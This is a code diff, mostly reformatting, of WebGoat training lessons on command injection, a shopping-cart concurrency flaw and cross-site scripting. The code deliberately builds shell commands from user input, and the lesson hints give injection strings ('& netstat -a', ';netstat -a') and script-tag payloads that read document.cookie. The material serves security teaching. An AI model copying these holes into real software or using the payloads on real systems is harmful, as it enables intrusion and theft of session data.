// filenames
results = exec(s, "cmd.exe /c dir /b \"" + safeDir.getPath() + "\"");
fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");
}
else
{
String[] cmd1 = { "/bin/sh", "-c",
"ls \"" + safeDir.getPath() + "\"" };
String[] cmd1 = { "/bin/sh", "-c", "ls \"" + safeDir.getPath() + "\"" };
results = exec(s, cmd1);
String[] cmd2 = {
"/bin/sh",
"-c",
"cat \"" + new File(safeDir, helpFile).getPath()
+ "\"" };
String[] cmd2 = { "/bin/sh", "-c", "cat \"" + new File(safeDir, helpFile).getPath() + "\"" };
fileData = exec(s, cmd2);
}
ec.addElement(new P()
.addElement("Select the lesson plan to view: "));
ec.addElement(ECSFactory.makePulldown(HELP_FILE,
parseResults(results.replaceAll("(?s)\\.html",
ec.addElement(new P().addElement("Select the lesson plan to view: "));
ec.addElement(ECSFactory.makePulldown(HELP_FILE, parseResults(results.replaceAll("(?s)\\.html",
"\\.help"))));
//ec.addElement( results );
// ec.addElement( results );
Element b = ECSFactory.makeButton("View");
ec.addElement(b);
// Strip out some of the extra html from the "help" file
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new StringElement(fileData.replaceAll(
System.getProperty("line.separator"), "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll(
"<br><br>", "<br>").replaceAll("<br>\\s<br>",
"<br>")));
ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "<br>")
.replaceAll("(?s)<!DOCTYPE.*/head>", "").replaceAll("<br><br>", "<br>")
.replaceAll("<br>\\s<br>", "<br>")));
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -209,18 +177,17 @@ public class CommandInjection extends LessonAdapter
return (ec);
}
private String parseResults(String results)
{
results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", "");
StringTokenizer st = new StringTokenizer(results, "\n");
StringBuffer modified = new StringBuffer();
while(st.hasMoreTokens())
while (st.hasMoreTokens())
{
String s = (String)st.nextToken().trim();
String s = (String) st.nextToken().trim();
if(s.length() > 0 && s.endsWith(".help"))
if (s.length() > 0 && s.endsWith(".help"))
{
modified.append(s + "\n");
}
@ -229,7 +196,6 @@ public class CommandInjection extends LessonAdapter
return modified.toString();
}
public static int upDirCount(String fileName)
{
int count = 0;
@ -246,20 +212,20 @@ public class CommandInjection extends LessonAdapter
return count;
}
/**
* Description of the Method
*
* @param command Description of the Parameter
* @param s Description of the Parameter
* @param command
* Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
private String exec(WebSession s, String command)
{
System.out.println("Executing OS command: " + command);
ExecResults er = Exec.execSimple(command);
if ((command.indexOf("&") != -1 || command.indexOf(";") != -1)
&& !er.getError())
if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) && !er.getError())
{
makeSuccess(s);
}
@ -267,12 +233,13 @@ public class CommandInjection extends LessonAdapter
return (er.toString());
}
/**
* Description of the Method
*
* @param command Description of the Parameter
* @param s Description of the Parameter
* @param command
* Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
private String exec(WebSession s, String[] command)
@ -297,7 +264,6 @@ public class CommandInjection extends LessonAdapter
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
@ -306,19 +272,15 @@ public class CommandInjection extends LessonAdapter
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is using a system command to return the contents of a file.");
hints.add("The application is using a system command to return the contents of a file.");
hints
.add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)");
hints
.add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix.");
hints
.add("Note that the server may enclose the submitted file name within quotes");
hints.add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix.");
hints.add("Note that the server may enclose the submitted file name within quotes");
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
@ -334,13 +296,11 @@ public class CommandInjection extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(40);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the DirectoryScreen object
*

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons;
import java.text.NumberFormat;
@ -5,7 +6,6 @@ import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -24,32 +24,31 @@ import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -59,7 +58,7 @@ import org.owasp.webgoat.util.HtmlEncoder;
public class ConcurrencyCart extends LessonAdapter
{
//Shared Variables
// Shared Variables
private static int total = 0;
private static float runningTOTAL = 0;
private static int subTOTAL = 0;
@ -71,12 +70,16 @@ public class ConcurrencyCart extends LessonAdapter
private float ratio = 0;
private int discount = 0;
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
@ -88,7 +91,7 @@ public class ConcurrencyCart extends LessonAdapter
{
String submit = s.getParser().getStringParameter("SUBMIT");
if("Purchase".equalsIgnoreCase(submit))
if ("Purchase".equalsIgnoreCase(submit))
{
updateQuantity(s);
ec = createPurchaseContent(s, quantity1, quantity2, quantity3, quantity4);
@ -97,31 +100,33 @@ public class ConcurrencyCart extends LessonAdapter
{
ec = confirmation(s, quantity1, quantity2, quantity3, quantity4);
//Discount
// Discount
if (calcTOTAL == 0) // No total cost for items
{
discount = 0; // Discount meaningless
}
else // The expected case -- items cost something
else
// The expected case -- items cost something
{
ratio = runningTOTAL / calcTOTAL;
}
if (calcTOTAL > runningTOTAL)
{
//CONGRATS
// CONGRATS
discount = (int) (100 * (1 - ratio));
s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount +"% discount. Police are on the way to your IP address.");
s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount
+ "% discount. Police are on the way to your IP address.");
makeSuccess(s);
}
else if (calcTOTAL < runningTOTAL)
{
//ALMOST
// ALMOST
discount = (int) (100 * (ratio - 1));
s.setMessage("You are on the right track, but you actually overpaid by " + discount + "%. Try again!");
s.setMessage("You are on the right track, but you actually overpaid by " + discount
+ "%. Try again!");
}
}
else
@ -130,8 +135,7 @@ public class ConcurrencyCart extends LessonAdapter
ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
}
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage");
ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4);
@ -140,7 +144,7 @@ public class ConcurrencyCart extends LessonAdapter
return ec;
}
//UPDATE QUANTITY VARIABLES
// UPDATE QUANTITY VARIABLES
private void updateQuantity(WebSession s)
{
quantity1 = thinkPositive(s.getParser().getIntParameter("QTY1", 0));
@ -150,12 +154,13 @@ public class ConcurrencyCart extends LessonAdapter
}
/*
**********************************************************************
******************* PURCHASING PAGE **********************************
**********************************************************************
* ********************************************************************* ******************
* PURCHASING PAGE **********************************
* *********************************************************************
*/
private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3,
int quantity4)
{
ElementContainer ec = new ElementContainer();
@ -167,24 +172,26 @@ public class ConcurrencyCart extends LessonAdapter
try
{
String param1 = s.getParser().getRawParameter("PAC", "111");
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter(
"CC", "5321 1337 8888 2007"));
String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("CC", "5321 1337 8888 2007"));
// test input field1
if (!pattern1.matcher(param1).matches())
{
s.setMessage("Error! You entered " + HtmlEncoder.encode(param1) + " instead of your 3 digit code. Please try again.");
s.setMessage("Error! You entered " + HtmlEncoder.encode(param1)
+ " instead of your 3 digit code. Please try again.");
}
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Place your order ")));
Table table = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
{
table.setBorder(1);
}
//Table Setup
// Table Setup
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
@ -192,18 +199,18 @@ public class ConcurrencyCart extends LessonAdapter
tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
table.addElement(tr);
//Item 1
tr = new TR(); //Create a new table object
// Item 1
tr = new TR(); // Create a new table object
tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
tr.addElement(new TD().addElement("$169.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center"));
total = quantity1 * 169;
runningTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr); //Adds table to the HTML
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr); // Adds table to the HTML
//Item 2
// Item 2
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
tr.addElement(new TD().addElement("$299.00").setAlign("right"));
@ -211,10 +218,10 @@ public class ConcurrencyCart extends LessonAdapter
total = quantity2 * 299;
runningTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
//Item 3
// Item 3
tr = new TR();
tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
@ -222,10 +229,10 @@ public class ConcurrencyCart extends LessonAdapter
total = quantity3 * 1799;
runningTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
//Item 4
// Item 4
tr = new TR();
tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
tr.addElement(new TD().addElement("$649.00").setAlign("right"));
@ -233,21 +240,23 @@ public class ConcurrencyCart extends LessonAdapter
total = quantity4 * 649;
runningTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) { table.setBorder(1); }
if (s.isColor())
{
table.setBorder(1);
}
ec.addElement(new BR());
calcTOTAL = runningTOTAL;
//Total Charged
// Total Charged
tr = new TR();
tr.addElement(new TD().addElement("Total:"));
tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right"));
@ -257,25 +266,25 @@ public class ConcurrencyCart extends LessonAdapter
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
table.addElement(tr);
//Credit Card Input
// Credit Card Input
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "CC", param2)).setAlign("right"));
table.addElement(tr);
//PAC Input
// PAC Input
tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "PAC", param1)).setAlign("right"));
table.addElement(tr);
//Confirm Button
// Confirm Button
Element b = ECSFactory.makeButton("Confirm");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
table.addElement(tr);
//Cancel Button
// Cancel Button
Element c = ECSFactory.makeButton("Cancel");
tr = new TR();
tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right"));
@ -284,8 +293,7 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table);
ec.addElement(new BR());
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -295,12 +303,12 @@ public class ConcurrencyCart extends LessonAdapter
}
/*
**********************************************************************
******************* CONFIRMATION PAGE ********************************
**********************************************************************
* ********************************************************************* ******************
* CONFIRMATION PAGE ********************************
* *********************************************************************
*/
private ElementContainer confirmation (WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
private ElementContainer confirmation(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
{
ElementContainer ec = new ElementContainer();
@ -308,18 +316,20 @@ public class ConcurrencyCart extends LessonAdapter
calcTOTAL = 0;
try
{
//Thread.sleep(5000);
// Thread.sleep(5000);
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!")));
ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber)));
Table table = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
{
table.setBorder(1);
}
//Table Setup
// Table Setup
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
@ -327,18 +337,18 @@ public class ConcurrencyCart extends LessonAdapter
tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
table.addElement(tr);
//Item 1
tr = new TR(); //Create a new table object
// Item 1
tr = new TR(); // Create a new table object
tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
tr.addElement(new TD().addElement("$169.00").setAlign("right"));
tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center"));
total = quantity1 * 169;
calcTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr); //Adds table to the HTML
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr); // Adds table to the HTML
//Item 2
// Item 2
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
tr.addElement(new TD().addElement("$299.00").setAlign("right"));
@ -346,10 +356,10 @@ public class ConcurrencyCart extends LessonAdapter
total = quantity2 * 299;
calcTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
//Item 3
// Item 3
tr = new TR();
tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
@ -357,10 +367,10 @@ public class ConcurrencyCart extends LessonAdapter
total = quantity3 * 1799;
calcTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
//Item 4
// Item 4
tr = new TR();
tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
tr.addElement(new TD().addElement("$649.00").setAlign("right"));
@ -368,20 +378,21 @@ public class ConcurrencyCart extends LessonAdapter
total = quantity4 * 649;
calcTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
{
table.setBorder(1);
}
ec.addElement(new BR());
//Total Charged
// Total Charged
tr = new TR();
tr.addElement(new TD().addElement("Total Amount Charged to Your Credit Card:"));
tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right"));
@ -391,7 +402,7 @@ public class ConcurrencyCart extends LessonAdapter
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
table.addElement(tr);
//Return to Store Button
// Return to Store Button
Element b = ECSFactory.makeButton("Return to Store");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center"));
@ -400,8 +411,7 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table);
ec.addElement(new BR());
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -410,9 +420,9 @@ public class ConcurrencyCart extends LessonAdapter
}
/*
**********************************************************************
******************* SHOPPING PAGE **********************************
**********************************************************************
* ********************************************************************* ******************
* SHOPPING PAGE **********************************
* *********************************************************************
*/
private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4)
@ -426,13 +436,15 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(new HR().setWidth("90%"));
ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart ")));
Table table = new Table().setCellSpacing(0).setCellPadding(2)
.setBorder(1).setWidth("90%").setAlign("center");
Table table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%")
.setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
{
table.setBorder(1);
}
//Table Setup
// Table Setup
TR tr = new TR();
tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%"));
tr.addElement(new TH().addElement("Price").setWidth("10%"));
@ -440,85 +452,81 @@ public class ConcurrencyCart extends LessonAdapter
tr.addElement(new TH().addElement("Subtotal").setWidth("7%"));
table.addElement(tr);
//Item 1
tr = new TR(); //Create a new table object
// Item 1
tr = new TR(); // Create a new table object
tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive"));
tr.addElement(new TD().addElement("$169.00").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", String.valueOf(quantity1)))
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", String.valueOf(quantity1)))
.setAlign("right"));
total = quantity1 * 169;
subTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
table.addElement(tr); //Adds table to the HTML
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr); // Adds table to the HTML
//Item 2
// Item 2
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer"));
tr.addElement(new TD().addElement("$299.00").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", String.valueOf(quantity2)))
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", String.valueOf(quantity2)))
.setAlign("right"));
total = quantity2 * 299;
subTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
//Item 3
// Item 3
tr = new TR();
tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino"));
tr.addElement(new TD().addElement("$1799.00").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", String.valueOf(quantity3)))
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", String.valueOf(quantity3)))
.setAlign("right"));
total = quantity3 * 1799;
subTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
//Item 4
// Item 4
tr = new TR();
tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector "));
tr.addElement(new TD().addElement("$649.00").setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", String.valueOf(quantity4)))
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", String.valueOf(quantity4)))
.setAlign("right"));
total = quantity4 * 649;
subTOTAL += total;
tr.addElement(new TD().addElement("$" + formatInt(total) +".00"));
tr.addElement(new TD().addElement("$" + formatInt(total) + ".00"));
table.addElement(tr);
ec.addElement(table);
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("90%").setAlign("center");
table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor())
{ table.setBorder(1); }
{
table.setBorder(1);
}
ec.addElement(new BR());
//Purchasing Amount
// Purchasing Amount
tr = new TR();
tr.addElement(new TD().addElement("Total: " +"$" +formatInt(subTOTAL) +".00").setAlign("left"));
tr.addElement(new TD().addElement("Total: " + "$" + formatInt(subTOTAL) + ".00").setAlign("left"));
table.addElement(tr);
//Update Button
// Update Button
Element b = ECSFactory.makeButton("Update Cart");
tr = new TR();
tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right"));
table.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
table.addElement(tr);
//Purchase Button
// Purchase Button
Element c = ECSFactory.makeButton("Purchase");
tr = new TR();
tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right"));
@ -527,8 +535,7 @@ public class ConcurrencyCart extends LessonAdapter
ec.addElement(table);
ec.addElement(new BR());
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -536,17 +543,15 @@ public class ConcurrencyCart extends LessonAdapter
return (ec);
}
String formatInt (int i)
String formatInt(int i)
{
NumberFormat intFormat =
NumberFormat.getIntegerInstance(Locale.US);
NumberFormat intFormat = NumberFormat.getIntegerInstance(Locale.US);
return intFormat.format(i);
}
String formatFloat (float f)
String formatFloat(float f)
{
NumberFormat floatFormat =
NumberFormat.getNumberInstance(Locale.US);
NumberFormat floatFormat = NumberFormat.getNumberInstance(Locale.US);
floatFormat.setMinimumFractionDigits(2);
floatFormat.setMaximumFractionDigits(2);
return floatFormat.format(f);
@ -554,10 +559,10 @@ public class ConcurrencyCart extends LessonAdapter
int thinkPositive(int i)
{
if (i < 0 )
return 0 ;
if (i < 0)
return 0;
else
return i ;
return i;
}
/**
@ -565,7 +570,10 @@ public class ConcurrencyCart extends LessonAdapter
*
* @return DOCUMENT ME!
*/
protected Category getDefaultCategory() { return Category.CONCURRENCY; }
protected Category getDefaultCategory()
{
return Category.CONCURRENCY;
}
/**
* Gets the hints attribute of the AccessControlScreen object
@ -596,15 +604,23 @@ public class ConcurrencyCart extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() { return DEFAULT_RANKING; }
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
* @return The title value
*/
public String getTitle() { return "Shopping Cart Concurrency Flaw"; }
public String getTitle()
{
return "Shopping Cart Concurrency Flaw";
}
public Element getCredits() { return super.getCustomCredits("", ASPECT_LOGO); }
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);
}
}

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
@ -19,33 +19,32 @@ import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/**
/*******************************************************************************
* /*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -75,16 +74,11 @@ public class CrossSiteScripting extends GoatHillsFinancial
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
@ -108,30 +102,24 @@ public class CrossSiteScripting extends GoatHillsFinancial
// Stage 1
hints.add("You can put HTML tags in form input fields.");
hints
.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2
hints
.add("Many scripts rely on the use of special characters such as: &lt;");
hints.add("Many scripts rely on the use of special characters such as: &lt;");
hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints
.add("The java.util.regex package is useful for filtering string values.");
hints.add("The java.util.regex package is useful for filtering string values.");
// Stage 3
hints
.add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
hints
.add("An HTML entity encoder is provided in the ParameterParser class.");
hints.add("An HTML entity encoder is provided in the ParameterParser class.");
// Stage 4
hints
.add("Examine content served in response to form submissions looking for data taken from the form.");
hints.add("Examine content served in response to form submissions looking for data taken from the form.");
// Stage 5
hints
@ -140,7 +128,6 @@ public class CrossSiteScripting extends GoatHillsFinancial
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
@ -196,23 +183,22 @@ public class CrossSiteScripting extends GoatHillsFinancial
}
@Override
public String[] getStages() {
public String[] getStages()
{
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6};
return new String[] {STAGE1, STAGE3, STAGE5};
return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 };
return new String[] { STAGE1, STAGE3, STAGE5 };
}
